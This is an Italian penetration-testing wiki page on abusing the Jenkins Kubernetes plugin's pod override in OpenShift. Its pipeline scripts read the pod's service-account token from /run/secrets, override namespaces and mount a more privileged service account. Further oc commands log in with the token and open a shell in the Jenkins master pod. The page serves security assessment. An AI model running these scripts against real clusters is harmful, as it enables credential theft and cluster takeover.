Jenkins in Openshift - sovrascritture del pod di build
Reading time: 4 minutes
L'autore originale di questa pagina è Fares
Plugin Kubernetes per Jenkins
Questo plugin è principalmente responsabile delle funzioni core di Jenkins all'interno di un cluster openshift/kubernetes. Documentazione ufficiale qui Offre alcune funzionalità come la possibilità per gli sviluppatori di sovrascrivere alcune configurazioni predefinite di un pod di build di jenkins.
Funzionalità core
Questo plugin consente flessibilità agli sviluppatori durante la costruzione del loro codice in un ambiente adeguato.
podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: maven
image: maven:3.8.1-jdk-8
command:
- sleep
args:
- 99d
''') {
node(POD_LABEL) {
stage('Get a Maven project') {
git 'https://github.com/jenkinsci/kubernetes-plugin.git'
container('maven') {
stage('Build a Maven project') {
sh 'mvn -B -ntp clean install'
}
}
}
}
}
Alcuni abusi che sfruttano l'override del yaml del pod
Tuttavia, può essere abusato per utilizzare qualsiasi immagine accessibile come Kali Linux ed eseguire comandi arbitrari utilizzando strumenti preinstallati da quell'immagine.
Nell'esempio seguente possiamo esfiltrare il token del serviceaccount del pod in esecuzione.
podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: kali
image: myregistry/mykali_image:1.0
command:
- sleep
args:
- 1d
''') {
node(POD_LABEL) {
stage('Evil build') {
container('kali') {
stage('Extract openshift token') {
sh 'cat /run/secrets/kubernetes.io/serviceaccount/token'
}
}
}
}
}
Una sintassi diversa per raggiungere lo stesso obiettivo.
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}
Esempio per sovrascrivere il namespace del pod
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
metadata:
namespace: RANDOM-NAMESPACE
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}
Un altro esempio che tenta di montare un serviceaccount (che potrebbe avere più permessi rispetto a quello predefinito, eseguendo la tua build) in base al suo nome. Potresti dover indovinare o enumerare prima i serviceaccount esistenti.
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: MY_SERVICE_ACCOUNT
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}
La stessa tecnica si applica per provare a montare un Secret. L'obiettivo finale qui sarebbe capire come configurare il tuo pod build per effettuare un pivot o guadagnare privilegi.
Andare oltre
Una volta che ti sei abituato a giocarci, usa la tua conoscenza su Jenkins e Kubernetes/Openshift per trovare misconfigurazioni / abusi.
Fatti le seguenti domande:
- Quale account di servizio viene utilizzato per distribuire i pod di build?
- Quali ruoli e permessi ha? Può leggere i segreti dello spazio dei nomi in cui mi trovo attualmente?
- Posso enumerare ulteriormente altri pod di build?
- Da un sa compromesso, posso eseguire comandi sul nodo/pod master?
- Posso enumerare ulteriormente il cluster per pivotare altrove?
- Quale SCC è applicata?
Puoi scoprire quali comandi oc/kubectl emettere qui e qui.
Possibili scenari di privesc/pivoting
Supponiamo che durante la tua valutazione tu abbia scoperto che tutte le build di jenkins vengono eseguite all'interno di uno spazio dei nomi chiamato worker-ns. Hai scoperto che un account di servizio predefinito chiamato default-sa è montato sui pod di build, tuttavia non ha molti permessi tranne l'accesso in lettura su alcune risorse, ma sei stato in grado di identificare un account di servizio esistente chiamato master-sa. Supponiamo anche che tu abbia il comando oc installato all'interno del container di build in esecuzione.
Con il seguente script di build puoi prendere il controllo dell'account di servizio master-sa e enumerare ulteriormente.
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: master-sa
containers:
- name: evil
image: random_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
sh 'token=$(cat /run/secrets/kubernetes.io/serviceaccount/token)'
sh 'oc --token=$token whoami'
}
}
}
}
}
}
A seconda del tuo accesso, o devi continuare il tuo attacco dallo script di build oppure puoi accedere direttamente come questo sa nel cluster in esecuzione:
oc login --token=$token --server=https://apiserver.com:port
Se questo sa ha abbastanza permessi (come pod/exec), puoi anche prendere il controllo dell'intera istanza di jenkins eseguendo comandi all'interno del pod del nodo master, se è in esecuzione all'interno dello stesso namespace. Puoi facilmente identificare questo pod tramite il suo nome e dal fatto che deve montare un PVC (persistent volume claim) utilizzato per memorizzare i dati di jenkins.
oc rsh pod_name -c container_name
Nel caso in cui il pod del nodo master non sia in esecuzione all'interno dello stesso namespace dei worker, puoi provare attacchi simili mirati al namespace master. Supponiamo che si chiami jenkins-master. Tieni presente che il serviceAccount master-sa deve esistere nel namespace jenkins-master (e potrebbe non esistere nel namespace worker-ns).